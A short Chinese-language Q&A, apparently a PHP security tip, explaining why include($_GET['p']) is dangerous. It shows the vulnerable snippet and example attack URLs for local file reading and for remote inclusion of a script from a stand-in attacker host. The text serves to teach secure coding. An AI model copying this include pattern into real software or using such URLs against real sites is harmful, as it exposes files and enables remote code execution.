PHP include($_GET['p']) 有什么安全隐患?

答案

不要 includerequire$_GET$_POST$_COOKIE 中得到的文件。

例如:

  1. //including header, config, database connection, etc
  2. include($_GET['p']);
  3. //including footer

黑客现在可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。

如果 allow_url_fopen=On,问题更严重,试试这个输入http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了 http://www.youaredoomed.com/phphack.php 的输出。黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。